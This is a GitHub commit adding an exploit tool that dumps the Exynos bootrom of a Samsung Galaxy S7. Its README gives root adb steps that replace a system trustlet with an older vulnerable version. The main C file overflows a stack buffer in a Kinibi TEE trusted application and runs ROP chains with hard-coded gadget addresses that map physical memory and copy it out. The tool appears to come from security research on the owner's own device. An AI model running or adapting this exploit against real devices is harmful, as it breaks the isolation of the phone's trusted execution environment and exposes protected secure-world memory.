Skip to content

Commit 7c5ac02

Browse files
fredericfrederic
committed
update for g930f bootrom dump tool
1 parent cea97f8 commit 7c5ac02

8 files changed

Lines changed: 832 additions & 17 deletions

‎G930FXXU1APB4_ffffffffd00000000000000000000004.tlbin‎

125 KB
Binary file not shown.

‎G930FXXU1DQAN_fffffffff0000000000000000000001b.tlbin‎

227 KB
Binary file not shown.

‎MobiCoreDriverApi.h‎

Lines changed: 499 additions & 0 deletions
Large diffs are not rendered by default.

‎README.md‎

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
# [Exynos BootROM dump tool](https://github.com/frederic/exynos-bootrom-dump)
2+
3+
# [announce](https://fredericb.info)
4+
5+
# target
6+
Samsung Galaxy S7 (G930F) - G930FXXU2DRD1 - root/SU enabled
7+
8+
# setup
9+
```
10+
$ adb pull /system/vendor/lib/libMcClient.so .
11+
$ adb pull /system/app/mcRegistry/ffffffffd00000000000000000000004.tlbin ffffffffd00000000000000000000004.tlbin.backup
12+
$ adb push ./G930FXXU1DQAN_fffffffff0000000000000000000001b.tlbin /data/local/tmp/
13+
$ adb push ./G930FXXU1APB4_ffffffffd00000000000000000000004.tlbin /data/local/tmp/
14+
$ adb shell "su -c mount -o rw,remount /system"
15+
$ adb shell "su cp /data/local/tmp/G930FXXU1APB4_ffffffffd00000000000000000000004.tlbin /system/app/mcRegistry/ffffffffd00000000000000000000004.tlbin"
16+
$ adb shell "su -c mount -o ro,remount /system"
17+
```
18+
# build
19+
```
20+
$ ~/tools/android/android-ndk-r20/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi21-clang ./g930f_dump-bootrom.c -L./ -lMcClient -o g930f_dump-bootrom
21+
$ adb push ./g930f_dump-bootrom /data/local/tmp/
22+
```

‎g930f_dump-bootrom.c‎

Lines changed: 101 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
// forked from https://www.synacktiv.com/posts/exploit/kinibi-tee-trusted-application-exploitation.html
2+
// to https://github.com/frederic/exynos-bootrom-dump
23

34
#include <stdio.h>
45
#include <stdlib.h>
@@ -12,30 +13,53 @@
1213
#define info(f_, ...) {printf("[\033[34;1m-\033[0m] "); printf(f_, ##__VA_ARGS__);}
1314
#define warn(f_, ...) {printf("[\033[33;1mw\033[0m] "); printf(f_, ##__VA_ARGS__);}
1415

16+
void printArray(unsigned char buf[], unsigned int n) {
17+
int i;
18+
for (i = 0; i < n; i++)
19+
{
20+
printf("%02X", buf[i]);
21+
}
22+
printf("\n");
23+
}
24+
1525
int main(int argc, char **argv) {
1626
mcResult_t ret;
1727
mcSessionHandle_t session = {0};
1828
mcBulkMap_t map;
1929
uint32_t stack_size;
2030
char *to_map;
2131

32+
if(argc != 2) {
33+
printf("Usage: %s <offset>\n", argv[0]);
34+
exit(1);
35+
}
36+
37+
uint32_t offset = strtoul(argv[1], NULL, 16);
2238

2339
// ROPgadget --binary fffffffff0000000000000000000001b.tlbin \
2440
// --rawArch arm --rawMode thumb --offset 0x1000
25-
uint32_t rop_chain[] = {
26-
0x38c2 + 1, // pop {r0, r1, r2, r3, r4, r5, r6, pc}
27-
0x0, // r0 (will be the string to print)
28-
0x0, // r1 (argument, will be set after mcMap)
29-
0x0, // r2 (not used)
41+
uint32_t rop_chain[0x300] = {
42+
0x39dc + 1, // pop {r0, r1, r2, r3, r4, r5, r6, pc}
43+
0x8, // r0 tlApi_callDriver=0x8
44+
0x40002, // r1 driverId
45+
0xdf0f8, // r2 params address on the stack
3046
0x0, // r3 (not used)
3147
0x0, // r4 (not used)
3248
0x0, // r5 (not used)
3349
0x0, // r6 (not used)
34-
0x25070 + 1 // tlApiPrintf wrapper
50+
0x07d01008, // tlApiLibEntry
51+
//@0xdf0f8:
52+
0xf,//handler ID
53+
0x0,//SPID
54+
0xdf104,//params on the stack
55+
//@0xdf104:
56+
0x0,
57+
0x0,
58+
0x0,
3559
};
3660

3761
FILE *f = fopen(
38-
"/data/local/tmp/fffffffff0000000000000000000001b.tlbin",
62+
"/data/local/tmp/G930FXXU1DQAN_fffffffff0000000000000000000001b.tlbin",//sha1: 3f2a62d5ba8113be2dd1287234ae04a3188733ea
3963
"rb"
4064
);
4165
if(!f) {
@@ -63,7 +87,7 @@ int main(int argc, char **argv) {
6387
return 1;
6488
}
6589

66-
to_map = strdup("--> Hello from the trusted application <--\n");
90+
to_map = malloc(0x1000);
6791

6892
ret = mcOpenTrustlet(&session, 0, ta_mem, ta_size,
6993
(uint8_t *)tci, tciLen);
@@ -75,17 +99,69 @@ int main(int argc, char **argv) {
7599
err("Can't map in\n");
76100
return 1;
77101
}
78-
ok("Address in TA virtual memory : 0x%x\n", map.sVirtualAddr);
79-
80-
// rop_chain[1] is R0, point it to the string in TA
81-
// address space.
82-
rop_chain[1] = map.sVirtualAddr;
83-
84-
stack_size = 0x54c; // fill stack frame
102+
ok("Address in TA virtual memory : 0x%x (0x%x bytes)\n", map.sVirtualAddr, map.sVirtualLen);
103+
104+
uint32_t rop_chain_dr[] = {
105+
0x18f22+1, // pc => @gadget0: pop.w { r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11, pc }
106+
0x0, // r1 (overwritten)
107+
0x0 + offset,// r2 => @startPhys0
108+
0x0, // r3 => @startPhys1
109+
0x0, // r4 (overwritten)
110+
0x0, // r5
111+
0x0, // r6 (overwritten)
112+
0x0, // r7
113+
0x0, // r8
114+
0x0, // r9
115+
0x0, // r10
116+
0x0, // r11
117+
0x123a0+1, // pc => @gadget1: pop { r0, r1, r4, r6, pc }
118+
0x80000 + offset, // r0 => @@startVirt
119+
0x0, // r1 / param_2 (overwritten with 0x1000) => mapSize
120+
0x0, // r4
121+
0x0, // r6
122+
0x1254c + 1, // pc => @gadget2: MapPhys64 + 2 (skip push)
123+
// 00012558 08 bd pop { r3, pc }
124+
0x0, // (overwritten) => param_2
125+
0x1bbd0 + 1, // pop { r1, r2, r6, pc }
126+
0x9, // param_2 => attr, r1
127+
0x123a0 + 1,// r2, pc => @gadget4: pop { r0, r1, r4, r6, pc }
128+
0x0, // r6
129+
0x19ecc + 1, // pc => pop.w { r4, r5, r6, lr } ; mov r0,#0x0 ; bx r2
130+
0x0, // r4
131+
0x0, // r5
132+
0x0, // r6
133+
0x18f22 + 1, // lr => pop.w { r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11, pc }
134+
map.sVirtualAddr, // r0 : TA virt addr
135+
0x0, // r1
136+
0x0, // r4
137+
0x0, // r6
138+
0x12490 + 1, // pc => drApiAddrTranslateAndCheck
139+
0x80000 + offset,// r1
140+
0x1000,// r2 =>memcpy size
141+
0x0,// r3
142+
0x0,// r4
143+
0x0,// r5
144+
0x0, // r6
145+
0x0, // r7
146+
0x0, // r8
147+
0x0, // r9
148+
0x0, // r10
149+
0x0, // r11
150+
0xdc38 + 1, // pc => memcpy (thumb=0) // END
151+
0x0,
152+
0xc682 + 1, //pc => Back to DriverHandler to exit without crash
153+
0xc1c0, //r0 : "VALIDATOR [WARN ]: SPID - 0x%08X 0x%08X"
154+
};
155+
156+
rop_chain[0x8c] = 0x13c + sizeof(rop_chain_dr);//memcpy size
157+
158+
memcpy(&rop_chain[0x9b], rop_chain_dr, sizeof(rop_chain_dr));
159+
160+
stack_size = 0xD0; // fill stack frame
85161
stack_size += 0x20; // popped registers size
86162

87163
// fill tciBuffer
88-
tci[0] = 27; // cmd id
164+
tci[0] = 27; // cmd id in TA for vulnerable handler
89165
tci[3] = stack_size + sizeof(rop_chain); // memcpy size
90166
memcpy(&tci[4 + stack_size/4], &rop_chain, sizeof(rop_chain));
91167

@@ -95,5 +171,13 @@ int main(int argc, char **argv) {
95171
mcCloseSession(&session);
96172
}
97173
mcCloseDevice(MC_DEVICE_ID_DEFAULT);
174+
175+
char fdout_name[32];
176+
snprintf(fdout_name, sizeof(fdout_name), "dump_0x%x.bin", offset);
177+
FILE* fdout = fopen(fdout_name, "wb");
178+
printf("Dumped to file %s\n", fdout_name);
179+
fwrite(to_map, 1, 0x1000, fdout);
180+
fclose(fdout);
181+
printArray(to_map, 0x1000);
98182
return 0;
99-
}
183+
}

‎mcSpid.h‎

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
/*
2+
* Copyright (c) 2013-2015 TRUSTONIC LIMITED
3+
* All rights reserved.
4+
*
5+
* Redistribution and use in source and binary forms, with or without
6+
* modification, are permitted provided that the following conditions are met:
7+
*
8+
* 1. Redistributions of source code must retain the above copyright notice,
9+
* this list of conditions and the following disclaimer.
10+
*
11+
* 2. Redistributions in binary form must reproduce the above copyright
12+
* notice, this list of conditions and the following disclaimer in the
13+
* documentation and/or other materials provided with the distribution.
14+
*
15+
* 3. Neither the name of the TRUSTONIC LIMITED nor the names of its
16+
* contributors may be used to endorse or promote products derived from
17+
* this software without specific prior written permission.
18+
*
19+
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
20+
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
21+
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
22+
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
23+
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
24+
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
25+
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
26+
* OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
27+
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
28+
* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
29+
* ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
30+
*/
31+
32+
#ifndef MC_SPID_H_
33+
#define MC_SPID_H_
34+
35+
#ifdef WIN32
36+
#define _UNUSED
37+
#else
38+
#define _UNUSED __attribute__((unused))
39+
#endif
40+
41+
/** Service provider Identifier type. */
42+
typedef uint32_t mcSpid_t;
43+
44+
/** SPID value used as free marker in root containers. */
45+
static _UNUSED const mcSpid_t MC_SPID_FREE = 0xFFFFFFFF;
46+
47+
/** Reserved SPID value. */
48+
static _UNUSED const mcSpid_t MC_SPID_RESERVED = 0;
49+
50+
/** SPID for system applications. */
51+
static _UNUSED const mcSpid_t MC_SPID_SYSTEM = 0xFFFFFFFE;
52+
53+
/** SPID reserved for tests only */
54+
static _UNUSED const mcSpid_t MC_SPID_RESERVED_TEST = 0xFFFFFFFD;
55+
static _UNUSED const mcSpid_t MC_SPID_TRUSTONIC_TEST = 0x4;
56+
57+
/** SPID reserved for OTA development */
58+
static _UNUSED const mcSpid_t MC_SPID_TRUSTONIC_OTA = 0x2A;
59+
60+
/** GP TAs - stored in the trusted storage. They all share the same */
61+
static _UNUSED const mcSpid_t MC_SPID_GP = 0xFFFFFFFC;
62+
63+
/** RTM's SPID */
64+
static _UNUSED const mcSpid_t MC_SPID_RTM = 0xFFFFFFFB;
65+
66+
#endif // MC_SPID_H_
67+

‎mcUuid.h‎

Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
/*
2+
* Copyright (c) 2013-2015 TRUSTONIC LIMITED
3+
* All rights reserved.
4+
*
5+
* Redistribution and use in source and binary forms, with or without
6+
* modification, are permitted provided that the following conditions are met:
7+
*
8+
* 1. Redistributions of source code must retain the above copyright notice,
9+
* this list of conditions and the following disclaimer.
10+
*
11+
* 2. Redistributions in binary form must reproduce the above copyright
12+
* notice, this list of conditions and the following disclaimer in the
13+
* documentation and/or other materials provided with the distribution.
14+
*
15+
* 3. Neither the name of the TRUSTONIC LIMITED nor the names of its
16+
* contributors may be used to endorse or promote products derived from
17+
* this software without specific prior written permission.
18+
*
19+
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
20+
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
21+
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
22+
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
23+
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
24+
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
25+
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
26+
* OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
27+
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
28+
* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
29+
* ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
30+
*/
31+
32+
#ifndef MC_UUID_H_
33+
#define MC_UUID_H_
34+
35+
#ifdef WIN32
36+
#define _UNUSED
37+
#else
38+
#define _UNUSED __attribute__((unused))
39+
#endif
40+
41+
#define UUID_TYPE
42+
43+
#define UUID_LENGTH 16
44+
/** Universally Unique Identifier (UUID) according to ISO/IEC 11578. */
45+
typedef struct {
46+
uint8_t value[UUID_LENGTH]; /**< Value of the UUID. */
47+
} mcUuid_t, *mcUuid_ptr;
48+
49+
/** UUID value used as free marker in service provider containers. */
50+
#define MC_UUID_FREE_DEFINE \
51+
{ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \
52+
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }
53+
54+
static _UNUSED const mcUuid_t MC_UUID_FREE = {
55+
MC_UUID_FREE_DEFINE
56+
};
57+
58+
/** Reserved UUID. */
59+
#define MC_UUID_RESERVED_DEFINE \
60+
{ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
61+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }
62+
63+
static _UNUSED const mcUuid_t MC_UUID_RESERVED = {
64+
MC_UUID_RESERVED_DEFINE
65+
};
66+
67+
/** UUID for system applications. */
68+
#define MC_UUID_SYSTEM_DEFINE \
69+
{ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \
70+
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE }
71+
72+
static _UNUSED const mcUuid_t MC_UUID_SYSTEM = {
73+
MC_UUID_SYSTEM_DEFINE
74+
};
75+
76+
#define MC_UUID_RTM_DEFINE \
77+
{ 0x12, 0x34, 0x12, 0x34, 0x12, 0x34, 0x12, 0x34, \
78+
0x12, 0x34, 0x12, 0x34, 0x12, 0x34, 0x12, 0x34 }
79+
80+
static _UNUSED const mcUuid_t MC_UUID_RTM = {
81+
MC_UUID_RTM_DEFINE
82+
};
83+
84+
/**
85+
* TODO: Replace with v5 UUID (milestone #3)
86+
*/
87+
#define LTA_UUID_DEFINE \
88+
{ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
89+
0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11}
90+
91+
#endif // MC_UUID_H_
92+

0 commit comments

Comments
 (0)